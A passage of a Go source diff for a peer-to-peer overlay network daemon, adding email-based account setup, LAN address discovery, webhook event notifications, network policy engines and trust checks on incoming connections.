c.TimeWaitDuration } + if c.TimeWaitDuration > 0 { + return c.TimeWaitDuration + } return DefaultTimeWaitDuration } func New(cfg Config) *Daemon { d := &Daemon{ - config: cfg, - tunnels: NewTunnelManager(), - ports: NewPortManager(), - stopCh: make(chan struct{}), - synTokens: cfg.synRateLimit(), - synLastFill: time.Now(), - perSrcSYN: make(map[uint32]*srcSYNBucket), + config: cfg, + tunnels: NewTunnelManager(), + ports: NewPortManager(), + taskQueue: NewTaskQueue(), + stopCh: make(chan struct{}), + synTokens: cfg.synRateLimit(), + synLastFill: time.Now(), + perSrcSYN: make(map[uint32]*srcSYNBucket), + epCache: make(map[uint32]*endpointEntry), + resolveCache: make(map[uint32]*resolveEntry), + netPolicies: make(map[uint16][]uint16), + managed: make(map[uint16]*ManagedEngine), + policyRunners: make(map[uint16]*PolicyRunner), + memberTags: make(map[uint16][]string), } d.ipc = NewIPCServer(cfg.SocketPath, d) d.handshakes = NewHandshakeManager(d) @@ -203,7 +327,7 @@ func (d *Daemon) allowSYNFromSource(srcNode uint32) bool { func (d *Daemon) reapPerSrcSYN() { d.perSrcSYNMu.Lock() defer d.perSrcSYNMu.Unlock() - threshold := time.Now().Add(-10 * time.Second) + threshold := time.Now().Add(-SYNBucketAge) for id, b := range d.perSrcSYN { if b.lastFill.Before(threshold) { delete(d.perSrcSYN, id) @@ -212,6 +336,35 @@ func (d *Daemon) reapPerSrcSYN() { } func (d *Daemon) Start() error { + // 0. Resolve email: flag > owner (deprecated) > account file + email := d.config.Email + if email == "" && d.config.Owner != "" { + email = d.config.Owner + } + if email == "" && d.config.IdentityPath != "" { + acctPath := account.PathFromIdentity(d.config.IdentityPath) + if acct, err := account.Load(acctPath); err == nil && acct != nil { + email = acct.Email + slog.Info("loaded email from account file", "path", acctPath) + } + } + if email == "" { + return fmt.Errorf("email address required: use -email you@example.com") + } + if err := validate.Email(email); err != nil { + return fmt.Errorf("invalid email: %w", err) + } + d.config.Email = email + d.config.Owner = email // keep Owner in sync for registry and DaemonInfo + + // Persist email to account file (if identity path is set) + if d.config.IdentityPath != "" { + acctPath := account.PathFromIdentity(d.config.IdentityPath) + if err := account.Save(acctPath, &account.Account{Email: email}); err != nil { + slog.Warn("failed to save account file", "error", err) + } + } + // 1. Discover our public endpoint via beacon using a temporary UDP socket. // If -endpoint is set, skip STUN and use the fixed address (for cloud VMs). var registrationAddr string @@ -224,6 +377,8 @@ func (d *Daemon) Start() error { pubAddr, err := discoverWithTempSocket(d.config.BeaconAddr, d.config.ListenAddr) if err != nil { slog.Warn("beacon discover failed, using local addr", "error", err) + } else if isPrivateAddr(pubAddr) { + slog.Warn("STUN returned private/unusable IP, discarding", "stun_addr", pubAddr) } else { registrationAddr = pubAddr slog.Debug("discovered public endpoint", "endpoint", pubAddr) @@ -245,6 +400,13 @@ func (d *Daemon) Start() error { actualAddr := d.tunnels.LocalAddr().String() slog.Info("tunnel listening", "addr", actualAddr) + // Collect LAN addresses using the actual tunnel port (not config port which may be 0) + _, actualPort, _ := net.SplitHostPort(actualAddr) + if actualPort == "" || actualPort == "0" { + actualPort = "4000" + } + d.lanAddrs = collectLANAddrs(actualPort) + // If STUN discovered a public endpoint, keep it. The temp socket and // tunnel socket bind the same local port, so endpoint-independent NAT // (like Cloud NAT) maps them to the same external IP:port. @@ -309,11 +471,26 @@ func (d *Daemon) Start() error { } pubKeyB64 := crypto.EncodePublicKey(d.identity.PublicKey) - resp, err := rc.RegisterWithKey(registrationAddr, pubKeyB64, d.config.Owner) + resp, err := rc.RegisterWithKey(registrationAddr, pubKeyB64, d.config.Owner, d.lanAddrs, d.config.Version) if err != nil { return fmt.Errorf("register: %w", err) } + // Use registry-observed IP as fallback when STUN returned garbage + if observed, ok := resp["observed_addr"].(string); ok && observed != "" { + obsHost, _, _ := net.SplitHostPort(observed) + obsIP := net.ParseIP(obsHost) + if obsIP != nil && !obsIP.IsPrivate() && !obsIP.IsLoopback() && !obsIP.IsLinkLocalUnicast() { + regHost, _, _ := net.SplitHostPort(registrationAddr) + regIP := net.ParseIP(regHost) + if regIP == nil || regIP.IsPrivate() || regIP.IsLoopback() || regIP.IsLinkLocalUnicast() { + _, stunPort, _ := net.SplitHostPort(registrationAddr) + registrationAddr = net.JoinHostPort(obsHost, stunPort) + slog.Info("using registry-observed IP", "observed", obsHost) + } + } + } + nodeIDVal, ok := resp["node_id"].(float64) if !ok { return fmt.Errorf("register: missing node_id in response") @@ -338,6 +515,22 @@ func (d *Daemon) Start() error { slog.Info("daemon registered", "node_id", d.nodeID, "addr", d.addr, "endpoint", registrationAddr) + // Initialize webhook client (no-op if URL is empty) + var webhookOpts []WebhookOption + if d.config.WebhookHTTPTimeout > 0 { + webhookOpts = append(webhookOpts, WithHTTPTimeout(d.config.WebhookHTTPTimeout)) + } + if d.config.WebhookRetryBackoff > 0 { + webhookOpts = append(webhookOpts, WithRetryBackoff(d.config.WebhookRetryBackoff)) + } + d.webhook = NewWebhookClient(d.config.WebhookURL, d.NodeID, webhookOpts...) + d.tunnels.SetWebhook(d.webhook) + d.handshakes.SetWebhook(d.webhook) + d.webhook.Emit("node.registered", map[string]interface{}{ + "address": d.addr.String(), + "endpoint": registrationAddr, + }) + // Register with beacon using real nodeID for NAT traversal (punch/relay) if d.config.BeaconAddr != "" { if err := d.tunnels.SetBeaconAddr(d.config.BeaconAddr); err != nil { @@ -365,6 +558,21 @@ func (d *Daemon) Start() error { } } + // Auto-join configured networks + d.autoJoinNetworks() + + // Load cached network snapshot (bootstraps port policies / member tags from disk) + d.loadNetworkSnapshot() + + // Cache network port policies for SYN enforcement (overwrites snapshot with live data) + d.loadNetworkPolicies() + + // Load expr-based policy runners for joined networks + d.loadPolicyRunners() + + // Detect managed networks and start engines + d.startManaged() + // 4. Start IPC server if err := d.ipc.Start(); err != nil { return fmt.Errorf("ipc start: %w", err) @@ -389,6 +597,9 @@ func (d *Daemon) Start() error { // 9. Start idle connection sweeper go d.idleSweepLoop() + // 10. Start network sync (refreshes memberships/policies every 5 min) + go d.networkSyncLoop() + d.startTime = time.Now() slog.Info("daemon running", "node_id", d.nodeID, "addr", d.addr) return nil @@ -415,14 +626,159 @@ func discoverWithTempSocket(beaconAddr, listenAddr string) (string, error) { return pub.String(), nil } -func (d *Daemon) Stop() error { - // Signal all goroutines to stop +// isPrivateAddr returns true if the host part of addr is a private, loopback, +// or link-local IP — i.e., not routable on the public internet. +func isPrivateAddr(addr string) bool { + host, _, err := net.SplitHostPort(addr) + if err != nil { + return false + } + ip := net.ParseIP(host) + return ip != nil && (ip.IsPrivate() || ip.IsLoopback() || ip.IsLinkLocalUnicast()) +} + +// collectLANAddrs returns all non-loopback private IPv4 addresses with the +// given port appended (e.g., ["192.168.4.76:4000", "10.0.1.5:4000"]). +func collectLANAddrs(listenPort string) []string { + ifaces, err := net.Interfaces() + if err != nil { + return nil + } + var addrs []string + for _, iface := range ifaces { + if iface.Flags&net.FlagLoopback != 0 || iface.Flags&net.FlagUp == 0 { + continue + } + ifAddrs, err := iface.Addrs() + if err != nil { + continue + } + for _, a := range ifAddrs { + var ip net.IP + switch v := a.(type) { + case *net.IPNet: + ip = v.IP + case *net.IPAddr: + ip = v.IP + } + if ip == nil || ip.To4() == nil { + continue // skip IPv6 and nil + } + if ip.IsLoopback() { + continue + } + if ip.IsPrivate() || ip.IsLinkLocalUnicast() { + addrs = append(addrs, net.JoinHostPort(ip.String(), listenPort)) + } + } + } + return addrs +} + +// matchLANSubnet checks if any of our LAN IPs share a /24 subnet with any peer LAN IP. +// Returns the matching peer LAN address, or empty string if no match. +func matchLANSubnet(ours []string, theirs []interface{}) string { + for _, theirRaw := range theirs { + theirAddr, ok := theirRaw.(string) + if !ok { + continue + } + theirHost, _, err := net.SplitHostPort(theirAddr) + if err != nil { + continue + } + theirIP := net.ParseIP(theirHost) + if theirIP == nil || theirIP.To4() == nil { + continue + } + + for _, ourAddr := range ours { + ourHost, _, err := net.SplitHostPort(ourAddr) + if err != nil { + continue + } + ourIP := net.ParseIP(ourHost) + if ourIP == nil || ourIP.To4() == nil { + continue + } + + // Same /24 subnet + ourNet := ourIP.To4().Mask(net.CIDRMask(24, 32)) + theirNet := theirIP.To4().Mask(net.CIDRMask(24, 32)) + if ourNet.Equal(theirNet) { + return theirAddr + } + } + } + return "" +} + +// addrFamilyMismatch returns true if addr is a different IP family than the tunnel socket. +// For example, returns true if the tunnel is bound to IPv6 but addr is IPv4 (or vice versa). +func (d *Daemon) addrFamilyMismatch(addr string) bool { + local := d.tunnels.LocalAddr() + if local == nil { + return false + } + localHost, _, err := net.SplitHostPort(local.String()) + if err != nil { + return false + } + remoteHost, _, err := net.SplitHostPort(addr) + if err != nil { + return false + } + localIP := net.ParseIP(localHost) + remoteIP := net.ParseIP(remoteHost) + if localIP == nil || remoteIP == nil { + return false + } + // Wildcard addresses (:: or 0.0.0.0) are dual-stack — they accept both families. + if localIP.IsUnspecified() { + return false + } + localIs4 := localIP.To4() != nil + remoteIs4 := remoteIP.To4() != nil + return localIs4 != remoteIs4 +} + +// autoJoinNetworks joins the networks listed in Config.Networks at startup. +// Requires AdminToken. Errors are logged but do not prevent daemon startup. +func (d *Daemon) autoJoinNetworks() { + if d.config.AdminToken == "" || len(d.config.Networks) == 0 { + return + } + for _, netID := range d.config.Networks { + _, err := d.regConn.JoinNetwork(d.nodeID, netID, "", 0, d.config.AdminToken) + if err != nil { + slog.Warn("auto-join failed", "network_id", netID, "error", err) + continue + } + slog.Info("auto-joined network", "network_id", netID) + d.webhook.Emit("network.auto_joined", map[string]interface{}{"network_id": netID}) + } +} + +// stopping returns true if Stop() has been called. +func (d *Daemon) stopping() bool { select { case <-d.stopCh: + return true default: - close(d.stopCh) + return false } +} +func (d *Daemon) Stop() error { + // Idempotent: only the first caller runs shutdown; others wait and return nil. + d.stopOnce.Do(func() { + close(d.stopCh) + d.doStop() + }) + return nil +} + +func (d *Daemon) doStop() { // Graceful close: send FIN to all active connections, then force remove conns := d.ports.AllConnections() for _, conn := range conns { @@ -460,15 +816,151 @@ func (d *Daemon) Stop() error { d.handshakes.Stop() } - // Deregister from registry + // Graceful deregister: tell the registry we're going away so lookups + // fail immediately rather than waiting for heartbeat timeout. + // pubKeyIdx/ownerIdx entries are preserved server-side, so + // re-registration with the same key reclaims the same node ID. + // Timeout: regConn.Send() has no deadline (io.ReadFull can block forever + // if registry is unreachable), so run deregister in a goroutine with a + // 3-second deadline. regConn.Close() unblocks the stuck goroutine. if d.regConn != nil { - d.regConn.Deregister(d.NodeID()) + if nid := d.NodeID(); nid != 0 { + done := make(chan struct{}) + go func() { + defer close(done) + if _, err := d.regConn.Deregister(nid); err != nil { + slog.Debug("deregister on shutdown", "err", err) + } + }() + select { + case <-done: + case <-time.After(3 * time.Second): + slog.Debug("deregister on shutdown timed out") + } + d.webhook.Emit("node.deregistered", nil) + } d.regConn.Close() } + d.stopPolicyRunners() + d.stopManaged() d.ipc.Close() d.tunnels.Close() - return nil + d.webhook.Close() +} + +// startManaged detects managed networks this node belongs to and starts engines. +func (d *Daemon) startManaged() { + resp, err := d.regConn.ListNetworks() + if err != nil { + slog.Debug("managed: cannot list networks", "err", err) + return + } + networks, _ := resp["networks"].([]interface{}) + for _, raw := range networks { + n, ok := raw.(map[string]interface{}) + if !ok { + continue + } + rulesRaw, hasRules := n["rules"] + if !hasRules || rulesRaw == nil { + continue + } + netIDf, _ := n["id"].(float64) + netID := uint16(netIDf) + + // Check if this node is a member + isMember := false + for _, nid := range d.nodeNetworks() { + if nid == netID { + isMember = true + break + } + } + if !isMember { + continue + } + + // Parse rules from map + rb, _ := json.Marshal(rulesRaw) + rules, err := registry.ParseRules(string(rb)) + if err != nil { + slog.Warn("managed: invalid rules on network", "network_id", netID, "err", err) + continue + } + + me := NewManagedEngine(netID, rules, d) + me.Start() + d.managedMu.Lock() + d.managed[netID] = me + d.managedMu.Unlock() + slog.Info("managed: engine started for network", "network_id", netID) + } +} + +// stopManaged stops all managed engines. +func (d *Daemon) stopManaged() { + d.managedMu.Lock() + engines := make(map[uint16]*ManagedEngine, len(d.managed)) + for k, v := range d.managed { + engines[k] = v + } + d.managedMu.Unlock() + + for _, me := range engines { + me.Stop() + } +} + +// StartManagedEngine starts a managed engine for a newly joined network. +func (d *Daemon) StartManagedEngine(netID uint16, rules *registry.NetworkRules) { + d.managedMu.Lock() + defer d.managedMu.Unlock() + + if _, exists := d.managed[netID]; exists { + return // already running + } + + me := NewManagedEngine(netID, rules, d) + me.Start() + d.managed[netID] = me +} + +// StopManagedEngine stops a managed engine (e.g., on network leave). +func (d *Daemon) StopManagedEngine(netID uint16) { + d.managedMu.Lock() + me, ok := d.managed[netID] + if ok { + delete(d.managed, netID) + } + d.managedMu.Unlock() + + if ok { + me.Stop() + } +} + +// GetManagedEngine returns the managed engine for a network, or nil. +func (d *Daemon) GetManagedEngine(netID uint16) *ManagedEngine { + d.managedMu.Lock() + defer d.managedMu.Unlock() + return d.managed[netID] +} + +// nodeNetworks returns this node's network memberships by querying the registry. +func (d *Daemon) nodeNetworks() []uint16 { + resp, err := d.regConn.Lookup(d.NodeID()) + if err != nil { + return nil + } + networksRaw, _ := resp["networks"].([]interface{}) + var nets []uint16 + for _, v := range networksRaw { + if f, ok := v.(float64); ok { + nets = append(nets, uint16(f)) + } + } + return nets } func (d *Daemon) NodeID() uint32 { @@ -476,9 +968,269 @@ func (d *Daemon) NodeID() uint32 { defer d.addrMu.RUnlock() return d.nodeID } + +// loadNetworkPolicies fetches AllowedPorts for every joined network and caches +// them for SYN-handler enforcement. Called at startup and after IPC joins. +func (d *Daemon) loadNetworkPolicies() { + nets := d.nodeNetworks() + policies := make(map[uint16][]uint16, len(nets)) + for _, netID := range nets { + resp, err := d.regConn.GetNetworkPolicy(netID) + if err != nil { + continue + } + portsRaw, _ := resp["allowed_ports"].([]interface{}) + var ports []uint16 + for _, p := range portsRaw { + if f, ok := p.(float64); ok { + ports = append(ports, uint16(f)) + } + } + if len(ports) > 0 { + policies[netID] = ports + } + } + d.netPolicyMu.Lock() + d.netPolicies = policies + d.netPolicyMu.Unlock() +} + +// isPortAllowed checks whether dstPort is permitted by the network's AllowedPorts +// policy. Returns true if no restriction is set (empty list = all ports allowed). +func (d *Daemon) isPortAllowed(netID uint16, port uint16) bool { + d.netPolicyMu.RLock() + ports := d.netPolicies[netID] + d.netPolicyMu.RUnlock() + if len(ports) == 0 { + return true + } + for _, p := range ports { + if p == port { + return true + } + } + return false +} + +// evaluatePortPolicy checks whether a protocol event is allowed by the policy +// engine. If no policy runner exists for the network, falls back to the legacy +// isPortAllowed check. +func (d *Daemon) evaluatePortPolicy(eventType policy.EventType, netID uint16, port uint16, peerNodeID uint32, payloadSize int, direction string) bool { + d.policyMu.Lock() + pr := d.policyRunners[netID] + d.policyMu.Unlock() + + if pr != nil { + ctx := map[string]interface{}{ + "port": int(port), + "peer_id": int(peerNodeID), + "network_id": int(netID), + } + // Enrich local_tags from cached member tags + d.memberTagsMu.RLock() + if tags, ok := d.memberTags[netID]; ok { + ctx["local_tags"] = tags + } else { + ctx["local_tags"] = []string{} + } + d.memberTagsMu.RUnlock() + // Enrich peer state for connect, dial, and datagram events + switch eventType { + case policy.EventConnect, policy.EventDial, policy.EventDatagram: + ctx["peer_score"] = 0 + ctx["peer_tags"] = []string{} + ctx["peer_age_s"] = 0.0 + ctx["members"] = 0 + pr.mu.RLock() + if p, ok := pr.peers[peerNodeID]; ok { + ctx["peer_score"] = p.Score + ctx["peer_tags"] = p.tags() + ctx["peer_age_s"] = time.Since(p.AddedAt).Seconds() + } + ctx["members"] = len(pr.peers) + pr.mu.RUnlock() + } + if eventType == policy.EventDatagram { + ctx["size"] = payloadSize + ctx["direction"] = direction + } + return pr.EvaluateGate(eventType, ctx) + } + + // Fallback: legacy port allowlist + return d.isPortAllowed(netID, port) +} + +// GetPolicyRunner returns the policy runner for a network, or nil. +func (d *Daemon) GetPolicyRunner(netID uint16) *PolicyRunner { + d.policyMu.Lock() + defer d.policyMu.Unlock() + return d.policyRunners[netID] +} + +// StartPolicyRunner starts a policy runner for a network. +func (d *Daemon) StartPolicyRunner(netID uint16, policyJSON json.RawMessage) error { + doc, err := policy.Parse(policyJSON) + if err != nil { + return fmt.Errorf("policy parse: %w", err) + } + cp, err := policy.Compile(doc) + if err != nil { + return fmt.Errorf("policy compile: %w", err) + } + + d.policyMu.Lock() + defer d.policyMu.Unlock() + + // Stop existing runner if any + if old, ok := d.policyRunners[netID]; ok { + old.Stop() + } + + pr := NewPolicyRunner(netID, cp, d) + pr.Start() + d.policyRunners[netID] = pr + return nil +} + +// StopPolicyRunner stops the policy runner for a network. +func (d *Daemon) StopPolicyRunner(netID uint16) { + d.policyMu.Lock() + pr, ok := d.policyRunners[netID] + if ok { + delete(d.policyRunners, netID) + } + d.policyMu.Unlock() + + if ok { + pr.Stop() + } +} + +// SetMemberTags updates the cached member tags for the local node in a network. +func (d *Daemon) SetMemberTags(netID uint16, tags []string) { + d.memberTagsMu.Lock() + d.memberTags[netID] = tags + d.memberTagsMu.Unlock() +} + +// GetMemberTags returns the cached member tags for the local node in a network. +func (d *Daemon) GetMemberTags(netID uint16) []string { + d.memberTagsMu.RLock() + tags := d.memberTags[netID] + d.memberTagsMu.RUnlock() + return tags +} + +// loadPolicyRunners loads expr policies for all joined networks at startup. +func (d *Daemon) loadPolicyRunners() { + resp, err := d.regConn.ListNetworks() + if err != nil { + slog.Debug("policy: cannot list networks", "err", err) + return + } + networks, _ := resp["networks"].([]interface{}) + for _, raw := range networks { + n, ok := raw.(map[string]interface{}) + if !ok { + continue + } + // Only load if has_expr_policy is true + hasPolicy, _ := n["has_expr_policy"].(bool) + if !hasPolicy { + continue + } + netIDf, _ := n["id"].(float64) + netID := uint16(netIDf) + + // Check membership + isMember := false + for _, nid := range d.nodeNetworks() { + if nid == netID { + isMember = true + break + } + } + if !isMember { + continue + } + + // Fetch the full policy + resp, err := d.regConn.GetExprPolicy(netID) + if err != nil { + slog.Warn("policy: cannot fetch expr_policy", "network_id", netID, "err", err) + continue + } + + var policyJSON json.RawMessage + switch v := resp["expr_policy"].(type) { + case string: + policyJSON = json.RawMessage(v) + case map[string]interface{}: + b, _ := json.Marshal(v) + policyJSON = b + default: + continue + } + + if err := d.StartPolicyRunner(netID, policyJSON); err != nil { + slog.Warn("policy: failed to start runner", "network_id", netID, "err", err) + continue + } + slog.Info("policy: runner started for network", "network_id", netID) + } +} + +// stopPolicyRunners stops all policy runners. +func (d *Daemon) stopPolicyRunners() { + d.policyMu.Lock() + runners := make(map[uint16]*PolicyRunner, len(d.policyRunners)) + for k, v := range d.policyRunners { + runners[k] = v + } + d.policyMu.Unlock() + + for _, pr := range runners { + pr.Stop() + } +} + +// SetWebhookURL hot-swaps the webhook client at runtime. +// An empty URL disables the webhook (all Emit calls become no-ops). +func (d *Daemon) SetWebhookURL(url string) { + old := d.webhook + var opts []WebhookOption + if d.config.WebhookHTTPTimeout > 0 { + opts = append(opts, WithHTTPTimeout(d.config.WebhookHTTPTimeout)) + } + if d.config.WebhookRetryBackoff > 0 { + opts = append(opts, WithRetryBackoff(d.config.WebhookRetryBackoff)) + } + d.webhook = NewWebhookClient(url, d.NodeID, opts...) + d.tunnels.SetWebhook(d.webhook) + d.handshakes.SetWebhook(d.webhook) + old.Close() + if url != "" { + slog.Info("webhook updated", "url", url) + } else { + slog.Info("webhook cleared") + } +} + // Identity returns the daemon's Ed25519 identity (may be nil if unset). func (d *Daemon) Identity() *crypto.Identity { return d.identity } +// TaskQueue returns the daemon's task queue. +func (d *Daemon) TaskQueue() *TaskQueue { return d.taskQueue } + +// AddTunnelPeer registers a peer's address in the tunnel manager (for testing/manual setup). +func (d *Daemon) AddTunnelPeer(nodeID uint32, addr *net.UDPAddr) { + d.tunnels.AddPeer(nodeID, addr) +} + +// TunnelAddr returns the local UDP address of the tunnel listener. +func (d *Daemon) TunnelAddr() net.Addr { return d.tunnels.LocalAddr() } + func (d *Daemon) Addr() protocol.Addr { d.addrMu.RLock() defer d.addrMu.RUnlock() @@ -486,26 +1238,36 @@ func (d *Daemon) Addr() protocol.Addr { } // DaemonInfo holds status information about the running daemon. +type NetworkMembership struct { + NetworkID uint16 `json:"network_id"` + Address string `json:"address"` +} + type DaemonInfo struct { - NodeID uint32 - Address string - Hostname string - Uptime time.Duration - Connections int - Ports int - Peers int - EncryptedPeers int - AuthenticatedPeers int - Encrypt bool - Identity bool // true if identity is persisted - PublicKey string // base64 Ed25519 public key (empty if no identity) - Owner string // owner identifier for key rotation recovery - BytesSent uint64 - BytesRecv uint64 - PktsSent uint64 - PktsRecv uint64 - PeerList []PeerInfo - ConnList []ConnectionInfo + NodeID uint32 + Address string + Hostname string + Uptime time.Duration + Connections int + Ports int + Peers int + EncryptedPeers int + AuthenticatedPeers int + Encrypt bool + Identity bool // true if identity is persisted + PublicKey string // base64 Ed25519 public key (empty if no identity) + Email string // email address for account identification and key recovery + BytesSent uint64 + BytesRecv uint64 + PktsSent uint64 + PktsRecv uint64 + EncryptOK uint64 + EncryptFail uint64 + HandshakePendingCount int + Version string + Networks []NetworkMembership + PeerList []PeerInfo + ConnList []ConnectionInfo } // Info returns current daemon status. @@ -547,26 +1309,44 @@ func (d *Daemon) Info() *DaemonInfo { hostname := d.config.Hostname d.addrMu.RUnlock() + // Collect network memberships from registry + var networks []NetworkMembership + for _, netID := range d.nodeNetworks() { + if netID == 0 { + continue // backbone is already shown as primary address + } + addr := protocol.Addr{Network: netID, Node: nid} + networks = append(networks, NetworkMembership{ + NetworkID: netID, + Address: addr.String(), + }) + } + return &DaemonInfo{ - NodeID: nid, - Address: addrStr, - Hostname: hostname, - Uptime: time.Since(d.startTime).Round(time.Second), - Connections: numConns, - Ports: numPorts, - Peers: d.tunnels.PeerCount(), - EncryptedPeers: encryptedPeers, - AuthenticatedPeers: authenticatedPeers, - Encrypt: d.config.Encrypt, - Identity: hasIdentity, - PublicKey: pubKeyStr, - Owner: d.config.Owner, - BytesSent: atomic.LoadUint64(&d.tunnels.BytesSent), - BytesRecv: atomic.LoadUint64(&d.tunnels.BytesRecv), - PktsSent: atomic.LoadUint64(&d.tunnels.PktsSent), - PktsRecv: atomic.LoadUint64(&d.tunnels.PktsRecv), - PeerList: peerList, - ConnList: d.ports.ConnectionList(), + NodeID: nid, + Address: addrStr, + Hostname: hostname, + Uptime: time.Since(d.startTime).Round(time.Second), + Connections: numConns, + Ports: numPorts, + Peers: d.tunnels.PeerCount(), + EncryptedPeers: encryptedPeers, + AuthenticatedPeers: authenticatedPeers, + Encrypt: d.config.Encrypt, + Identity: hasIdentity, + PublicKey: pubKeyStr, + Email: d.config.Email, + BytesSent: atomic.LoadUint64(&d.tunnels.BytesSent), + BytesRecv: atomic.LoadUint64(&d.tunnels.BytesRecv), + PktsSent: atomic.LoadUint64(&d.tunnels.PktsSent), + PktsRecv: atomic.LoadUint64(&d.tunnels.PktsRecv), + EncryptOK: atomic.LoadUint64(&d.tunnels.EncryptOK), + EncryptFail: atomic.LoadUint64(&d.tunnels.EncryptFail), + HandshakePendingCount: d.handshakes.PendingCount(), + Version: d.config.Version, + Networks: networks, + PeerList: peerList, + ConnList: d.ports.ConnectionList(), } } @@ -584,6 +1364,9 @@ func (d *Daemon) handlePacket(pkt *protocol.Packet, from *net.UDPAddr) { if !d.tunnels.HasPeer(pkt.Src.Node) { if !d.config.Encrypt || d.tunnels.HasCrypto(pkt.Src.Node) { d.tunnels.AddPeer(pkt.Src.Node, from) + d.webhook.Emit("tunnel.peer_added", map[string]interface{}{ + "peer_node_id": pkt.Src.Node, "endpoint": from.String(), + }) } } @@ -618,7 +1401,7 @@ func (d *Daemon) handleStreamPacket(pkt *protocol.Packet) { Version: protocol.Version, Flags: protocol.FlagSYN | protocol.FlagACK, Protocol: protocol.ProtoStream, - Src: d.Addr(), + Src: pkt.Dst, Dst: pkt.Src, SrcPort: pkt.DstPort, DstPort: pkt.SrcPort, @@ -630,9 +1413,44 @@ func (d *Daemon) handleStreamPacket(pkt *protocol.Packet) { return } + // Trust gate: private nodes only accept SYN from trusted or same-network peers. + // Runs before rate limiting so untrusted sources cannot waste rate-limit tokens. + if !d.config.Public { + srcNode := pkt.Src.Node + trusted := d.handshakes.IsTrusted(srcNode) + if !trusted && d.regConn != nil { + // Fall back to registry trust check (covers admin-set trust pairs + shared networks) + trusted, _ = d.regConn.CheckTrust(d.NodeID(), srcNode) + } + if !trusted { + slog.Warn("SYN rejected: untrusted source", "src_node", srcNode, "src_addr", pkt.Src, "dst_port", pkt.DstPort) + d.webhook.Emit("syn.rejected", map[string]interface{}{ + "src_node_id": srcNode, + "src_addr": pkt.Src.String(), + "dst_port": pkt.DstPort, + }) + return // silent drop — no RST to avoid leaking node existence + } + } + + // Network policy: reject SYN if port/peer is not allowed + if !d.evaluatePortPolicy(policy.EventConnect, pkt.Dst.Network, pkt.DstPort, pkt.Src.Node, 0, "") { + slog.Warn("SYN rejected: not allowed by network policy", + "src_node", pkt.Src.Node, "dst_port", pkt.DstPort, "network", pkt.Dst.Network) + d.webhook.Emit("syn.port_rejected", map[string]interface{}{ + "src_node_id": pkt.Src.Node, + "dst_port": pkt.DstPort, + "network": pkt.Dst.Network, + }) + return // silent drop — don't reveal policy to attacker + } + // SYN rate limiting if !d.allowSYN() { slog.Warn("SYN rate limit exceeded", "src_addr", pkt.Src, "src_port", pkt.SrcPort) + d.webhook.Emit("security.syn_rate_limited", map[string]interface{}{ + "src_addr": pkt.Src.String(), "src_port": pkt.SrcPort, + }) return // silently drop — don't even RST (avoid amplification) } if !d.allowSYNFromSource(pkt.Src.Node) { @@ -656,11 +1474,19 @@ func (d *Daemon) handleStreamPacket(pkt *protocol.Packet) { conn := d.ports.NewConnection(pkt.DstPort, pkt.Src, pkt.SrcPort) conn.Mu.Lock() - conn.LocalAddr = d.Addr() + // Use the destination address from the SYN as our local address. + // This ensures the correct network-specific address is used for + // multi-network connections (e.g. 1:0001.0000.0003 instead of + // the primary 0:0000.0000.0003). + conn.LocalAddr = pkt.Dst conn.State = StateSynReceived conn.RecvAck = pkt.Seq + 1 conn.ExpectedSeq = pkt.Seq + 1 // first data segment after SYN conn.Mu.Unlock() + d.webhook.Emit("conn.syn_received", map[string]interface{}{ + "src_addr": pkt.Src.String(), "src_port": pkt.SrcPort, + "dst_port": pkt.DstPort, "conn_id": conn.ID, + }) // Process peer's receive window from SYN (H9 fix: always update, including Window==0) conn.RetxMu.Lock() @@ -673,7 +1499,7 @@ func (d *Daemon) handleStreamPacket(pkt *protocol.Packet) { Version: protocol.Version, Flags: protocol.FlagSYN | protocol.FlagACK, Protocol: protocol.ProtoStream, - Src: d.Addr(), + Src: pkt.Dst, Dst: pkt.Src, SrcPort: pkt.DstPort, DstPort: pkt.SrcPort, @@ -685,6 +1511,10 @@ func (d *Daemon) handleStreamPacket(pkt *protocol.Packet) { conn.SendSeq++ conn.State = StateEstablished conn.Mu.Unlock() + d.webhook.Emit("conn.established", map[string]interface{}{ + "src_addr": pkt.Src.String(), "src_port": pkt.SrcPort, + "dst_port": pkt.DstPort, "conn_id": conn.ID, + }) d.startRetxLoop(conn) // Non-blocking push to accept queue — if full, clean up and RST @@ -750,10 +1580,17 @@ func (d *Daemon) handleStreamPacket(pkt *protocol.Packet) { if conn != nil { conn.CloseRecvBuf() conn.Mu.Lock() + wasTimeWait := conn.State == StateTimeWait conn.State = StateTimeWait conn.LastActivity = time.Now() sendSeq := conn.SendSeq conn.Mu.Unlock() + if !wasTimeWait { + d.webhook.Emit("conn.fin", map[string]interface{}{ + "remote_addr": pkt.Src.String(), "remote_port": pkt.SrcPort, + "local_port": pkt.DstPort, "conn_id": conn.ID, + }) + } // Connection will be reaped by idleSweepLoop after TimeWaitDuration // Send FIN-ACK @@ -782,6 +1619,10 @@ func (d *Daemon) handleStreamPacket(pkt *protocol.Packet) { conn.Mu.Unlock() conn.CloseRecvBuf() d.ports.RemoveConnection(conn.ID) + d.webhook.Emit("conn.rst", map[string]interface{}{ + "remote_addr": pkt.Src.String(), "remote_port": pkt.SrcPort, + "local_port": pkt.DstPort, "conn_id": conn.ID, + }) } return } @@ -903,9 +1744,45 @@ func (d *Daemon) sendDelayedACK(conn *Connection) { } func (d *Daemon) handleDatagramPacket(pkt *protocol.Packet) { - if len(pkt.Payload) > 0 { - d.ipc.DeliverDatagram(pkt.Src, pkt.SrcPort, pkt.DstPort, pkt.Payload) + if len(pkt.Payload) == 0 { + return + } + + // Trust gate: private nodes only accept datagrams from trusted or same-network peers + if !d.config.Public { + srcNode := pkt.Src.Node + trusted := d.handshakes.IsTrusted(srcNode) + if !trusted && d.regConn != nil { + trusted, _ = d.regConn.CheckTrust(d.NodeID(), srcNode) + } + if !trusted { + slog.Warn("datagram rejected: untrusted source", "src_node", srcNode, "src_addr", pkt.Src, "dst_port", pkt.DstPort) + d.webhook.Emit("datagram.rejected", map[string]interface{}{ + "src_node_id": srcNode, + "src_addr": pkt.Src.String(), + "dst_port": pkt.DstPort, + }) + return + } + } + + // Network policy: reject datagram if not allowed + if !d.evaluatePortPolicy(policy.EventDatagram, pkt.Dst.Network, pkt.DstPort, pkt.Src.Node, len(pkt.Payload), "in") { + slog.Warn("datagram rejected: not allowed by network policy", + "src_node", pkt.Src.Node, "dst_port", pkt.DstPort, "network", pkt.Dst.Network) + d.webhook.Emit("datagram.port_rejected", map[string]interface{}{ + "src_node_id": pkt.Src.Node, + "dst_port": pkt.DstPort, + "network": pkt.Dst.Network, + }) + return } + + d.webhook.Emit("data.datagram", map[string]interface{}{ + "src_addr": pkt.Src.String(), "src_port": pkt.SrcPort, + "dst_port": 